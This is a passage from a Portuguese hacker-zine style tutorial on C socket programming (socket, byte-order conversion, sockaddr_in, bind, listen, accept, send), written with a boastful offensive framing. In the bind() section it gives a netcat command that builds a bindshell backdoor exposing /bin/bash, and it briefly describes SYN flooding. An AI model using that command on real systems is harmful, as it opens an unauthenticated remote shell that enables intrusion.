coisas APELONAS. Resumindo: Se voce quer aprender algo inutil, recomendo que procure
informações sobre outros tipos de socket em outro lugar, nos txt's do tio fox soh rola
coisas extremamente apelonas, sou feliz com RAW eh o que basta ...:) Mas se voce for um
guro e ja' sabe de tudo que ta escrito aqui pode procurar infos por ae e devorar algum
tuto sobre a parada, pois o tedio e a vontade d aprender mais e mais deve estar tomando
conta de voce ;)

- 04 Abrindo um socket

Enfim, para abrir um socket utilizaremos a 'variavel q armazenara o descritor' seguido
da função 'socket ()', eh nesta função q especificamos como nosso pacote vai ser guiado
ou em outras palavras podemos dizer que eh aqui que especificamos qual o protocolo e
qual a familia de protocolos que iremos utilizar. A função 'socket ()' retorna -1 em
caso de erro. Em 1 grande parte dos sitemas operacionais o software TCP/IP ja faz parte
do OS e também possuem funções de socket inseridas no proprio sistema, mas no ambiente
podre que o windows oferece para programação de sockets temos que iniciar uma dll para
construirmos nossos programas, pq o windows diferente do Unix BSD, não possui no codigo
do sistema uma interação (mesclagem) entre as funções de socket e o sistema. No windows
temos que utilizar 1 API não nativa p/ a conversão das instruções vindas da aplicação,
e para isso existe a necessidade de iniciarmos a biblioteca winsock.dll

\WINDOWS\system32\winsock.dll -> Obviamente que aqui estou me referindo ao WinXP

Agora nos Unixes like não precisamos inicializar dll nenhuma p/ rodar progs, porque o
sistema eh um ambiente perfeito :) Então podemos dizer que esta eh mais uma facilidade
que o Unix nos oferece...:) Q m3rda, detesto ter tudo na mão, putz, tem gente q estufa
o peito pra dizer que detonou um host usando o metasploit NO UNIX! Grande merda, eu tb
consigo bons resultados No Windows! Bah! Vamos voutar ao texto, meu pensamento um tanto
quanto "preconceituoso" um dia vai me matar.

ps: Diga não ao Unix for hacking !!


Exemplo de abertura de socket

int SoCk;

SoCk = socket (AF_INET, SOCK_STREAM, 0);


[*] SoCk --> Descritor de socket.
[*] socket --> Função de abertura de socket.
[*] AF_INET --> Familia de protocolos, ai vai + algumas:


AF_INET [ARPA INTERNET PROTOCOLS]
AF_UNIX [UNIX INTERNET PROTOCOLS] -> Usado para comunicação entre processos no Unix,
não envolve comunicação na rede.

AF_ISO [ISO PROTOCOLS]
AF_IMPLINK [IMP]
AF_NS [XEROX NETWORK SYSTEM PROTOCOLS]



Sinceramente galera, existem coisas nessa vida que nao me interessam nem um pinguinho,
mas sei lá, quando eu for um guru e não tiver mais nada para ser aprendido talvez eu
me aprofunde mais nesses lixos inuteis ae em cima. Acho que o mais importante destes
citados acima sem duvida nenhuma eh o AF_ISO, julgando pelos fatores historicos eheh,
mas vamos continuar, não quero dar foco a isso se não o texto vai perder o rumo, hoje
mesmo vou mecher com o AF_IMPLINK e saber o que de bom esse lixo pode me trazer :P. Eh
como eu sempre falo, Hacker's nao necessariamente possuem conhecimento de tudo que
existe, pois somos Hacker's e nao gurus =) Mas sei lah, no meu ponto de vista 1 hacker
eh aquele que possui um conhecimento ofensivo e não aquele que conhece uma determinada
parada de cabo a rabo E QUE NUNCA ACHA UMA FORMA DE USAR O QUE APRENDEU A SEU FAVOR, o
negocio eh que nao precisamos saber de tudo, apenas precisamos saber o + DESTRUTIVO!!!
Aprender o que nunca pode utilizar e q muito provavelmente nunca vai interagir eh algo
idiota, mas obvio que isso nao eh regra meus companheiros de Hacking, Deus queira q eu
descubra 1 maneira muito loca d fazer algo muito doido (... ? ...) mechendo com esses
trocos NAO MUITO EXPLORADOS PELA MAIORIA. Ai eu escrevo uma edicao da C.O.D.E soh me
desculpando pelas insanidade q falei "NO TEMPO QUE EU ERA HACKER DA ELITE"(Modesto =).


Vc deve estar querendo saber o q diabos eh NECESSARIAMENTE esse troço d AF_NUMSEIOQUE.
Bem, primeiramente gostaria de lhes dizer que podemos utilizar o termo TCP/IP para se
referir a TUDO que de certa forma interage com o protocolo de controle de transmissao
TCP/IP, ou "melhor dizendo": TCP 'E' IP. Enfim, entre o q pode chegar a INTERAGIR com
tais modulos podemos citar -> Outros PROTOCOLOS e Aplicativos d rede (Entre os aplica-
tivos podemos citar aqui os tambem protocolos mais conhecidos, como FTP e tals). Ja q,
podemos dizer que tudo q interage com o TCP e IP, inclusive o UDP (ISSO MESMO MANOH!!!
UDP!) faz parte da suruba conhecida por todos como TCP/IP, entao vamos dizer q isso eh
uma familia... Entendeu!!??? Familia = tudo que eh da mesma laia, ou seja, quando eu
inicio 1 socket especificando o AF_INET, eu estou querendo dizer q to afim d programar
p/ a familia TCP/IP, sacow!!! Muito facil, os dados vao ser enviados se baseando pelo
modelo TCP/IP de encapsulamento!! Eu sou foda =) Comumente voce encontrara' um tal de
PF_INET ao inves de AF_INET nos sources da galera, por isso vou adiantando logo que
AF_INET se trata de um alias para PF_INET e por esse mesmo motivo, podemos dizer q de
certa forma eh mais "correto" usarmos o PF_INET (PF_INET eh mais Hacko! As pessoas na
rua vao começar a dizer que vc realmente sabe o que ta fazendo eheh =), veja vc mesmo:

#define PF_INET AF_INET

Os protocolos ICMP e ARP tambem fazem parte da familia TCP/IP, sabiam? Justamente por
isso quando iremos desenvolver aplicativos que utilizam tais protocolos nao podemos
deixar d dizer qual a familia q estes protocolos pertencem, q eh o TCP/IP... AF_INET!!
eheh. Enfim, vamos a mais um exemplo:

Segundo a referencia -> [X] quando inicializamos um socket especificando o parametro
AF_ISO, queremos dizer que pretendemos desenvolver 1 aplicativo capaz d criar e mandar
dados p/ serem trafegados utilizando o modelo d comunicação criado pela ISO, ou seja,
o tão famoso modelo OSI de 7 camadas. Que como eu falei anteriormente foi desenvolvido
pela famosa 'International Organization for Standardization'.

[X] -> Minhas ex-namorada que me disse isso (Se bem que ta na cara -.-). Huahuahauh!!!


Relembrando:

SoCk = socket (AF_INET, SOCK_STREAM, 0);

Ja que especificamos a familia e especificamos na inicialização do socket qual o tipo de
socket q iremos utilizar (SOCK_STREAM -> TCP. SOCK_DGRAM -> UDP. SOCK_RAW -> Open iface =),
temos o proximo negocio (Parametro ou Argumento=) ali em cima, o tal do 0. Esse eh o tal do
protocolo q nos vamos utilizar, se setarmos este argumento como 0 (Zero) a funcao ira uti-
lizar um protocolo condizente com o tipo de socket especificado. Deixa eu ver como eu posso
explicar. Ja sei!!! Primeiro vou lhes mostrar os numeros de identificação dos PROTOCOLOS
(ID's):

[0] --- > IP, internet protocol
[1] --- > ICMP, internet control message protocol
[2] --- > IGMP, internet group multicast protocol
[3] --- > GGP, gateway-gateway protocol
[6] --- > TCP, transmission control protocol
[12] --- > PUP, PARC universal packet protocol
[17] --- > UDP, user datagram protocol
[255] --- > RAW, RAW IP interface


O tipo de socket e o protocolo sempre andam lado a lado, ou em outras palavras podemos
dizer que sempre andam em pares. Detalhe camaradas ^^. Datagrams Sockets também utilizam
o protocolo IP para roteamento. Dã!! Meu Deus isso eh obvio!! Ninguem aqui ta falando de
IPX/SPX ...:)

Tipo:

socket (AF_INET, SOCK_STREAM (TCP), -> 0 (IP));
socket (AF_INET, SOCK_DGRAM (UDP), -> 0 (IP));
socket (AF_INET, SOCK_RAW (:P), IPPROTO_IP);


ou

socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
socket (AF_INET, SOCK_DGRAM, IPPROTO_IP);
socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
IPPROTO_Continua... [Olhe do lado dos ID's :]

Vou passar algo mais concreto, extraido do header winsock2 do IDE Dev-Cpp 4.9.9.2.

#define IPPROTO_IP 0
#define IPPROTO_ICMP 1
#define IPPROTO_IGMP 2
#define IPPROTO_GGP 3
#define IPPROTO_TCP 6
#define IPPROTO_PUP 12
#define IPPROTO_UDP 17
#define IPPROTO_IDP 22
#define IPPROTO_ND 77
#define IPPROTO_RAW 255
#define IPPROTO_MAX 256

-05 Tipos de ordenamentos de bytes

Existem dois tipos de ordenamentos de bytes. Que são:

Network byte order -> Ordenamento de byte "DE REDE" - "APOSTO" como muito provavelmente
voce ouviu algum guru em socket dizer:

- Primeiro Byte menos significativo.

Isso ae ja ta manjado. Li um bocado de txt de socket e vi os caras repetirem a mesma
coisa em todos os textos, os caras falam d Network Byte Order e tals, mas nao explicam.
Putz, eu sou foda, descobri um monte de texto onde os caras tentam de todas as formas
deixar as coisas mais complicadas repetindo a mesma coisa d diferentes formas complexas
ahuahuahu!!! Vamos la, vamos tentar explicar isso direito porque foi um sufoco pra eu
entender (oO), por isso estou revoltado contra esses textos. Sua maquina pode armazenar
bytes em alguma ordem diferente de Network byte order, isso poderá ocasionar problemas
no envio de dados pela rede, esse problema eh maior quando existe a possibilidade de
comunicação entre maquinas rodando sobre arquiteturas diferentes (;), por isso devemos
utilizar funções de conversão de bytes para um ordenamento adequado a conexão... -.O

Host byte order -> Ordenamento de byte de Host - A ordem de armazenamento de bytes na
maquina local normalmente eh essa. Existem alguns campos na strutura d conexao q devem
ser convertidos deste ordenamento de bytes para Network byte order. Para tal existem
muitas funcoes. Aqui funciona aquela velha historia, so que dessa vez o primeiro byte
eh o mais significativo...}:)

Resumidamente podemos dizer que o ardenamento de bytes para transmissão (Network byte
order) eh o q faz as coisas acontecerem. Devemos utilizar funções para conversão cor-
reta de ordenamento. Vamos ver isso logo + afrente (olha eu outra vez ;). Tambem vale
repetir que existem maquinas que ja usam o ordenamento NBO por padrão ou seja, vc nao
precisa usar 'htonl ()' para IP's e nem precisa usar 'htons ()' para numero de portas.
Entao podemos dizer aqui amigo q apenas bastaria vc digitar 'addr.sin_port = 666;'..:)
Mas se seu programa foce portado para outra maquina q nao ordenase bytes para conexão
(NBO), ele nao iria funcionar. Para quem nao sabe portabilidade quer dizer q seu prog
roda sobre diferentes arquiteturas, como por exemplo, vc faz 1 prog no linux q tambem
roda no windows, seu program pode ser chamado de portavel. Usamos comumente o termo:

Meu software eh facilmente portavel para arquitetura Unix, com algumas adaptações.

Isso quer dizer ao pe da letra que o Source do programa pode ser adaptado p/ funcionar
em sistemas Unix/Linux. Agora se alguem falasse:

Meu software eh facilmente portavel para PLATAFORMA Unix, com algumas adaptações.

Podemos dizer que se trata apenas do sistema operacional UNIX, tabom que isso eh um
tanto quanto SEM SENTIDO!! Porque como todos sabemos linux possui a mesma base que o
Unix, mas acho que voces entenderam o que eu quiz dizer...:P


-06 Estrutura de conexão

Agora o bicho vai pegar! Vamos ver a estrutura sockaddr_in ('in' vem de inTERNET ;).
Essa estrutura eh usada para conexões na internet, p/ estabelecermos uma conexão com
um host remoto temos que preencher esta struct. Aqui q dizemos o endereço do host, a
porta que nos queremos nos conectar no host, etc. Eh como se fosse um formulario que
devemos preencher com os dados da vitima (hehehe)...


struct sockaddr_in {

short int sin_family; // Familia do endereço -> AF_INET (This case) 2 Bytes (short)
unsigned short int sin_port; /* Porta que iremos nos conectar */ 2 Bytes (short)
struct in_addr sin_addr; //Leia mais abaixo 4 bytes (long)
unsigned char sin_zero[8]; /* Zera o resto da struct, para ter o mesmo 8 bytes
tamanho de struct sockaddr*/

};

struct in_addr {

unsigned long s_addr; // Armaneza o endereço do host (4 bytes - Long [NBO])

};

Vamos preencher a struct:

struct sockaddr_in target;

target.sin_family = AF_INET; // Nesse caso vai ser AF_INET. 2 Bytes (short)
target.sin_port = htons (80); // Uma porta qualquer, exemplo: 80 (HTTP). 2 Bytes (short)
target.sin_addr.s_addr = inet_addr ("192.168.1.1"); // Leia mais abaixo as functions.4 Bytes
memset (&(target.sin_zero), 0x00, 8); // Preenche de 0's a variavel sin_zero. 8 Bt's
Total 16 Bts

Agora saquem soh essa gracinha ae em baixo moçada, ia me esquecendo de falar sobre
ela, nesta estrutura ficam armazenadas informações sobre endereço de socket.

struct sockaddr {

unsigned short sa_family; /* Familia de protocolos (AF_INET Neste caso =) */

char sa_data[14]; /* Aqui estão o endereço de destino e a porta */

};

A estrutura acima fara mais sentido quando falarmos sobre a função bind por exemplo,
por esse mesmo motivo não vou falar sobre ela AGORA, apenas siga o texto e relaxe =]
Agora sorria -> ...=) (descritor, (struct sockaddr *)&var_pt, sizeof (var_pt)...;)
Eh interesante lembrarmos de zerar a variavel sin_zero em sockaddr_in, pois fazendo
isso estamos acomodando a estrutura ao tamanho da strutct 'sockaddr'. Vale lembrar
que podemos zerar o resto da struct de varias formas, ou usando o terminador nulo
('\0') na lista de argumentos da função memset, ou numero hexadecimal (0x00) tambem
na lista de argumentos da func memset ou ateh mesmo usando o proprio '0' ( Adivinha)
... Na lista de parametros da função =0) ... -.- Afz!!! Ah! Tambem podemos zerar a
struct com a função bzero (&(var.sin_zero), 8); Funçao essa que costumeramente fica
no header <string.h> =)

Vamos ver agora algumas funcoes de conversao de ordenamento d bytes p/ voces ficarem
feras mesmo na parada.


-07 Funções de conversão de ordenamento de bytes

Vale dizer que as variaveis

unsigned short int sin_port;
unsigned long s_addr;

Devem armazenar bytes utilizando o ardenamento de bytes d rede (p/ a transmissao),
que eh o tal do Network byte order. Então para convertermos O NUMERO DA PORTA de
Host byte Order (Ordenamento comum das maquinas) para Network byte order e
passarmos a constante para a variavel unsigned short int sin_port (/* Porta que
iremos nos conectar */
), devemos converter esse NUMERO em NBO, usando a funcao
htons (), que vem de:

"h" -> Host
"to" -> para
"n" -> Network
"s" -> Short

Total = Host to Network Short [unsigned short int sin_port]. Para simplificar, esta'
function converte NUMEROS em NUMEROS PARA CONEXÃO... Isso! Show! Para a construcao
do endereço do socket devemos utilizar a função 'inet_addr()' p/ converter os bytes
em ordenamento de conexão (Network byte order), em outras palavras: Esta função pega
uma string como '"192.168.1.1"' em HBO e converte em '192.168.1.1' NBO. Então
está explicado o porque do:

target.sin_port = htons (80);
target.sin_addr.s_addr = inet_addr ("192.168.1.1");

inet_addr retorna o numero ja convertido em Network byte order, e em caso de erro o
nosso amigo ai retorna -1. Esse -1 retorna os bits 11111111 que eh o numero binario
para representar um octeto decimal no endereco de broadcast, que nada mais eh que o
255.255.255.255 que pode inclusive ser x.x.x.255, ou seja, com esse tipo de socket
nao podemos usar o tal do endereco de broadcast (viva la checagem de erro manoh!!).
Vamos ver mais alguns conversores maneiros amigos:

inet_aton()

[1]* Exemplo pratico.
[2]* Exemplo tecnico.

[1] inet_aton (*(argv+3), &(vitima.sin_addr));
[2] inet_aton (const char *pt, struct in_addr *pt);


No exemplo 2 podemos ver que o primeiro argumento eh uma constante de caracteres
(string), todos sabemos que constantes sao valores que sao mantidos "fixos" pelo
compilador, aspas porque nem sempre um valor de uma variavel pode ser "constante",
mantido fixo rsrs, acho que encontrei ai um furo do C, a falta d termos eheh. Pq?
Todos os valores de variaveis e caracteres de espace sao chamados de constantes,
mas ai existe REALMENTE uma constante que eh a "const", entendeu? Entao vou chamar
ele de contante e NAO CONFUNDA com valorez mutaveis, porque como vc pode perceber
este argumente EH REALMENTE UMA CONSTANTE, nao muda de geito nenhum (Por causa do
"const" ai em cima =). O segundo argumento eh um ponteiro p/ a struct in_addr, vc
lembra dela? var.sin_addr <- Na verdade o "sin_addr" eh uma variavel struct para
in_addr e por isso a mesma referencia o elemento s_addr em in_addr, q eh onde fica
armazenado o endereco do alvo e a porta, ou seja, aqui que fica o nosso endpoint.
Nao se preocupem amigos, nao se assustem por favor, a funcao acima vai ficar muito
facil de ser entendida no decorrer do texto, mas por hora gostaria d lhes informar
que esta funcao converte em Network Byte Order o terceiro argumento de linha de
comando QUE ESTA EM "ASCII" e copia para a variavel sin_addr, nao entendeu ainda??
aton vem de ' "ASCII" To Network', facil, mas existe um pequeno problema aqui, nem
todas as plataformas implementam esta funcao, tentei utiliza-la no 'w(R)(U)indows'
e me foi retornada a seguinte mensagem de ERRO:

[Linker error] undefined reference to `inet_aton'

oooh!! Que bosta de sistema imundo eh esse minha gente! Num tem raw socket, num tem
seguranca e ainda nao tem inet_aton ()!! Putz! Como voces conseguem viver usando um
sistema que trava mais que fusca velho e que nao tem nada de bom!! Deus do ceu!! Me
perdoe por estar cuspindo no prato que comi durante tanto tempo!! Desculpe, mas eu
tenho que evoluir! Como diz o meu amigo Von: Agora soh to usando ele para fliperama
hauahuah!!! Joguinhos rulez! O interessante desta funcao eh que ela ao contrario de
quase todas as functions relacionados a socket, retorna um numero diferente de 0 EM
CASO DE SUCESSO e 0 em caso d erro oO Eh estranho, mas fazer o que.:) Mais algumas:


htonl() -- "Host to Network Long" - Converte host byte order em NBO.( -> LONG![IP] <-)
ntohl() -- "Network to Host Long" - Converter Network byte order em Host long.
ntohs() -- "Network to Host Short" - Converte NBO em Host byte order "Short".

_-=-_-= EM OUTRAS PALAVRAS =-_-=-_

variavel.sin_port = htons (80) To -> Digo para vc's que short eh o numero da porta.

As outras funções:

fprintf (stdout, "Vc esta conectado na porta %d\n", ntohs (ax.sin_port));

Veja que utilizo o codigo de controle 'd', pois a variavel em questão se trata de
um 'unsigned short "int"'(sin_port), poderia utilizar também o codigo de controle
'i' seguido da notação '%' como sempre ;P Ou até mesmo podemos ler assim;

fprintf (stdout, "Vc esta conectado na porta %hu\n", ntohs (ax.sin_port));

Porque o %hu eh utilizado para ler variaveis unsigned short int, e por ae vai ...:)
A função 'inet_addr ()' converte os dados em host byte order para network byte order
e isso significa que não precisamos usar o htonl (Para converter string "IP" em IP).
Voce deve estar querendo saber porque apenas duas constantes (IP e Porta) devem ser
convertidas para Network byte order, simples: sin_family juntamente com sin_zero nao
precisam porque como eu ja falei sin_zero soh existe p/ acomodar bytes igual a struct
sockaddr, e AF_INET so existe para determinar a familia. Ambas NAO SAO ENVIADOS PELA
REDE!!! Ponto :-) Bem, sin_zero serve para completar o endpoint, hum... Soh quem nao
vai trafegar pela rede ae eh o AF_INET. Vamos continuar com mais 1 funcaozinha util:

inet_ntoa ();

Header: <arpa/inet.h>


OBS: Se voce for esperto podera' perceber que um "mooonte" de funcao que se inicia com
inet_ fica neste header, sabendo disso podera ficar mais facil para vc. Como foi
pra mim quando percebi isso ;)


Essa função diferente da 'ntohs()' que mostra o numero da porta que especificamos na
estrutura de conexao, mostra o nosso endereço IP, vamos a um exemplo:

fprintf (stdout, "%s listening on %d...", inet_ntoa (variavel_struct.sin_addr),
ntohs (variavel_struct.sin_port));
< -----------

Acho que voces ja sacaram a jogada, ntoa vem de "Network To ASCII", ou seja, a function
vai pegar o ordenamento d bytes para conexão e vai transformar em ASCII, ou seja, Plain
Text.

08 - Funcoes de socket


8.1 A funcao Connect ();

Este funcao nada mais eh que a funcao responsavel pela conexao, OO Olha que surpresa
gente... Quem diria eim? Nossa, nunca imaginaria que a funcao connect servia para
conectar os sockets:) A funcao connect possue esse modelo (Prototipo ou sei la o q):

connect (descritor, endpoint, endpoint_len);

Onde:

descritor -> Eh o descritor de socket que recebeu valores de retorno da funcao socket ().
endpoint -> Este argumento eh usado para especificar a estrutura sockaddr que contem a
porta e o endereco do Host. Necessariamente eh copiado para essa struct todo
conteudo de sockaddr_in NO MOMENTO DA DECLARACAO, utilizando o '&' comercial.
Como todos sabemos a struct sockaddr_in possui 16 bytes. Vejamos:

2 AF_INET . [short ]
2 sin_port. [short ]
4 s_addr . [long ]
8 Pading . [sin_zero]

Como ja falei para copiarmos esses dados para sockaddr fazemos isso entao:

-- cut --

struct sockaddr_in addr;
connect (descritor, (struct sockaddr *)&addr, sizeof (addr));

-- cut --

Hum... Olhem uma coisa interesante que fará mais sentido logo mais, por isso
nao se preocupem:

sendto (sock, payload, 1, 0, \
(struct sockaddr *)&addr, 15); // Copia 15 mas era p/ copiar 16

Resultado:

C:\Documents and Settings\David\Desktop>send
-1 byte enviado a 192.168.1.1

Agora se especificarmos 16 nos vemos essa msg:

C:\Documents and Settings\David\Desktop>send
1 byte enviado a 192.168.1.1

1 byte porque eu quiz enviar apenas 1 byte do payload, eu mando na minha
maquina manoh...:) Isso ilustra bem a importancia de se copiar todos os
bytes de uma estrutura para outra. Outro detalhe interessante de lembrar
eh que comumente chamamos de endereco de endpoint, a combinação do
endereco do host e a porta, ou seja, veja a struct sockaddr:

struct sockaddr {

unsigned short sa_family; // AF_* -> 2 bytes
char sa_data[14]; // 14 bytes do endereco, porta e pading 0x00.

};

So o que vai trafegar na rede ai eh o sa_data, que contem o nosso endpoint.
Tambem lembrando que um ponteiro para sockaddr_in pode ser convertido para
sockaddr e, "vice-versa". Vamos falar sobre isso mais tarde.

Atencao: Essa funcao retorna -1 em caso de erro...:)


8.2 A funcao bind ();

headers -> #include <sys/types.h>
#include <sys/socket.h>

A funcao do bind eh associar uma porta a um socket, mas ao inves de associar uma porta
para conexao na vitima, essa funcao vai abrir (ou bindear [Giria hacka]) uma porta no
nosso sistema. Acho que voces ja ouviram o termo -> bindshell. O que poderia vir a ser
um exploit de bindshell? Simples, essa eh a classe de exploit mais tradicional, o que
eles fazem eh basicamente abrir uma porta e te retornar 1 shell, olha q coisa original
gente...:) bind [Abre]- Shell [Nos retorna] ehehe. Esse termo tb pode ser a desinencia
p/ o tipo de backdoor mais famoso, como todos nos sabemos existem as backdoors de port
knocking e as de bindshell. Ou seja, o netcat com esta sintaxe:

nc -l -p 1025 -vv -e /bin/bash

Constroi uma backdoor do tipo bindshell. bind [Abre]- Shell [Nos retorna] UuUuUuUiii!!

Atencao: Soh p/ variar um pouco essa funcao retorna -1 em caso de erro...:)

Veja sua sintaxe de uso:

[1]* Exemplo pratico.
[2]* Prototipo tecnico.


[1] bind (desc, (struct sockaddr *)&addr, sizeof (addr));
[2] bind (desc, struct sockaddr *addr, int comprimento);

[2]:

desc -> Descritor de socket (Lembrando: Este descritor nada mais eh que uma
variavel qualquer do tipo integer que recebeu um numero inteiro (claro
:P) retornado pela funcao 'socket ()').

Segundo argumento -> Ponteiro para struct sockaddr. Onde 'addr' eh a variavel
struct para sockaddr_in .

Terceiro argumento -> Quantidade de bytes que vao ser copiados da struct
sockaddr_in (addr) para sockaddr.

[1]:

OBS: Tenha em vista que addr eh a variavel struct p/ sockaddr_in

Onde:

desc --> Descritor

(struct sockaddr *)&addr --> (struct sockaddr *)&addr eheheh. Criamos um Endpoint.
Aqui copiamos os dados de sockaddr_in p/ sockaddr...
Voce consegue lembrar disso?


sizeof (addr) --> Aqui definimos o tamanho da strutura de conexao.
Lembram daquele pequeno formulario com os dados da
vitima? Pois eh cara, passamos aqui o tamanho dele.

Podemos especificar uma interface qualquer para ele usar com o inet_addr ("IP");
Saquem ae um belo de um exemplo:

-- cut --

#include <stdio.h>
#include <string.h> // memset ()
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>


struct sockaddr_in blah;

int main (void){

... // <- Isso que dizer que tem codigo p/ cima viu???

blah.sin_family = AF_INET; // Dados enviados atravez de TCP/IP
blah.sin_port = htons (666); // Abre a porta 666
blah.sin_addr.s_addr = inet_addr ("127.0.0.1"); // Escuta na interface de loopback
memset (&(blah.sin_zero), 0x00, sizeof (blah.sin_zero)); // Zera a struct

if ( (bind (descritor, (struct sockaddr *)&blah, sizeof (struct sockaddr)) == -1){
fprintf (stderr, "Erro ao abrir porta!");
exit (-1);}

fprintf (stdout, "Porta [%d] listening on [%s]...", ntohs (blah.sin_port),
inet_ntoa (blah.sin_addr));

... /* <- Leia la eh cima ehehe. As funcoes que sao declaradas neses locais vao
ser descritas posteriormente no decorrer deste paper...:) */


-- cut --


8.3 A funcao listen ();

O cabecalho desta func eh o #include <sys/socket>. Va ciente que os cabecalhos podem
mudar d distro p/ distro manoh. O mais recomendavel eh usar manpages. Enfim, esta func
(como o proprio nome ja diz) serve p/ escutar em 1 porta e definir um numero maximo de
conexoes a mesma. Chamamos esse numero de Backlog, ou Backlog Queue (Queue = fila de
pessoas =). Como eu havia falado, esse tal de BACKLOG nada mais eh q um numero inteiro
que vai determinar quantas pessoas podem se connectar "simultaneamente" no socket, ou
na porta (Melhor dizendo), ei! Ou na fila eheh. Entenda o porque da "fila":

O BACKLOG sem meias palavras nada mais eh que o que determina o limite de pessoas que
poderao pedir para conectar, vamos com calma. Apos nos deixarmos uma porta em escuta
(Porta essa q foi anteriormente setada com o bind) esperamos os clientes conectarem,
mas antes da conexao eh dado o nosso velho conhecido processo Three Way Handshake que
faz a negociacao em 3 vias, eh emitido pelo cliente primeiramente a flag d sincronismo
'syn' que eh o primeiro passo para iniciar qualquer conexão por TCP, como voces sabem
para a conexao ser concluida e a funcao 'accept()' [Falarei logo mais] entrar em vigor
associando o cliente a um novo socket, temos que mandar um outro syn + ack,ISN +1, o
nosso amigo cliente entao mandaria um ACK,ISN + 1 e estaria feita a conexao, mas... Ai
que esta o problema, ate que o cliente mande o ACK final, teriamos menos 1 no numero d
BACKLOG para cada cliente em negociacao com agente, ou seja, se setarmos 5 no numero d
BACKLOG e existirem 6 pessoas se conectando em nosso server ao mesmo tempo, entao um
infeliz que tentou se conectar depois das outras 5 nao vai conseguir acesso ao host,
pois nao vai ter mais espaco na fila (Queue =).

A brecha

Agora voces muito provavelmente devem estar lembrando do bom e velho syn flood :) Onde
eh emitido varios pacotes com a flag syn ligada (1) para uma determinada porta, assim
fazendo o host consumir todo seu BACKLOG esperando por ACK's que nunca chegarao..:) A
sintaxe desta function eh tao facil que chega a me enfurecer, olhem a complexidade da
func:

listen (descritor, 5);

Aee!! Olha que coisa autamente complexa!! Meu Deus! Como eu consegui entender isso???
Eu sou um genio mesmo eheh. Descritor ae eh o nosso manjado amigo que nem vou me dar
o trabalho de descrever "novamente" aqui...:) E o numero 5 quer dizer que apenas 5
pessoas poderao ficar na fila da minha backdoor rsrsrs. Como sempre (AI!), esta func
retorna -1 em caso de erro. Entao podemos dizer que o bind () associa uma porta ao
socket e o listen () deixa a porta que foi bindeada em modo passivo (Aguardando uma
conexao), ponto. Ah! Alguns sistemas setam o BACKLOG maxima p/ 20, mas vc ainda pode
definir 5 ou 10 (eheh Eu adoro livros de C =).

8.4 A funcao accept ();

Vou dar um foco especial a esta por causa do meu primo de 8 anos que mora em Minas
Gerais [Ler eh melhor que usar telefone :]...

[1]* Exemplo pratico.
[2]* Exemplo tecnico.

[1] - new_sock=accept(SoCk,(struct sockaddr *)&struct_remote,
(int *)sizeof (struct sockaddr_in));

[2] - accept (descritor, void *pointer, int *pointer);


Tenha em vista q o ultimo argumento do exemplo [1] foi apenas para ilustrar q o mesmo
se trata de um ponteiro (Apesar de eu ter utilizado um typecast "no exemplo pratico",
o ultimo argumento se trata de um ponteiro) p/ um inteiro e q devera' conter o tama-
nho da strutura descrita, na pratica, este ultimo argumento devera' ser setado como
uma variavel local do tipo integer (integer = inteira). Entao devemos passar este ar-
gumento corretamente p/ q todos os dados da sockaddr_in sejam copiados p/ sockaddr, q
nada mais eh que uma estrutura de 16 bytes. Utilizamos entao o operador '&' para pas-
sarmos o endereço de memoria da variavel para a funçao (Lembra do ponteiro? Lembra tb
q os operadores unarios como o '&' em C, agem sobre uma determinada variavel e podem
ou nao modificar o seu valor, mas sempre no final retornam os mesmos? =). Veja mais 1
exemplo pratico:

int size;
size=sizeof (struct sockaddr_in); // Isso eh 16 =)
new_sock=accept(SoCk,(struct sockaddr *)&struct_remote, &size);

Depois que temos uma porta em listen a nossa maquina ira aguardar os clientes, quando
os mesmos se conectam a funcao 'accept ()' se encarrega de criar um novo socket para
interagir com o cliente e apartir dai podemos usar esse novo socket para brincar...:P
O socket original vai permanecer inalterado aguardando outros clientes e sempre apos
as conexoes o accept() associa um novo socket a cada 1 deles. Parece um tanto confuso
vermos o tal struct_remote ali no meu exemplo, mas eh assim mesmo kra. Definimos duas
structs _in, uma p/ conter os dados necessarios para bindear e ouvir em uma porta no
nosso sistema e a outra struct eh usada para acomodar o cliente. Repetindo:

Nos vamos trabalhar como servidor e utilizamos essa struct p/ acomodar o cliente =)

&size Eh a quantidade de bytes que vamos copiar. Como diria minha "amiga" vadia Pr:
Yeah. Eu digo: oooh Yeah!

Quem ta do outro lado?

8.5 A funcao getpeername ();

Header: <sys/socket.h>

Uma otima funcao para nos mostrar o endereco IP de quem esta conectado a nos eh a tal
da getpeername (); Seu prototipo eh bem simples,

getpeername (desc, (struct sockaddr *)var_struct, int *size);


desc -> Descritor
struct... -> Preciso mesmo falar?
size -> Tamanho da struct. sizeof(struct sockaddr).

Depois de fazermos isso podemos usar aquela function maneira, a tal da inet_ntoa();
Lembra dela? =) Network to ASCII = IP do camarada. So q ao invez de usarmos a struct
que foi utilizada para

 
abrir a porta, utilizamos a q eh usada p/ compartar o cliente.
Lembra do accept? ehehehe.

8.6 A funcao send ();

Header(s): <sys/types.h>
<sys/socket.h>


Prototipo:

send (descritor, payload, pay_len, flags);

Onde:

decritor --> Eh o descritor de socket.
payload --> Os dados que vao ser enviados.
pay_len --> Quantos bytes do payload vao ser enviados.
flags --> Esses argumentos contem bits de requisicoes mais complexas, como depuração
do sistema. Nao vou descrevelos agora, fica para a segunda parte. Por hora
apenas coloque 0 ai.

Esta funcao como o proprio nome ja diz, eh a funçao responsavel pelo envio de dados
atravez de um socket "orientado a conexao", ou seja, SOCK_STREAM. Exemplo:

unsigned char payload[]="Oi, como voce esta?";
send (sock, payload, strlen (payload), 0);

Neste caso seria enviado atravez do socket (sock) todo o conteudo da variavel payload.
Vale lhes lembrar q o terceiro argumento (strlen) da funcao, eh usado para designar a
quantidade de bytes (dentro do buffer) q serao enviados, neste caso, estou utilizando
o numero "retornado" pela funçao strlen p/ passar p/ a funcao send() o numero correto
de caracteres a serem enviados. Eu tambem poderia, ao invez d utilizar uma funçao para
a contagem de bytes de dentro do buffer, especificar um numero inteiro "direto" no
segundo argumento da funçao send, mas acho que isso eh obvio!!.

Exemplo:


unsigned char payload[]="Oi, como voce esta?";
send (sock, payload, 2, 0);

Neste outro exemplo acima apenas seria enviado atravez do socket duas letras de dentro
da variavel payload, ou seja, iriam chegar na outra ponta apenas o 'Oi', pois o numero
dois representa 2 bytes e eu tenho certeza (ou pelo menos deveria ter) q vc sabe muito
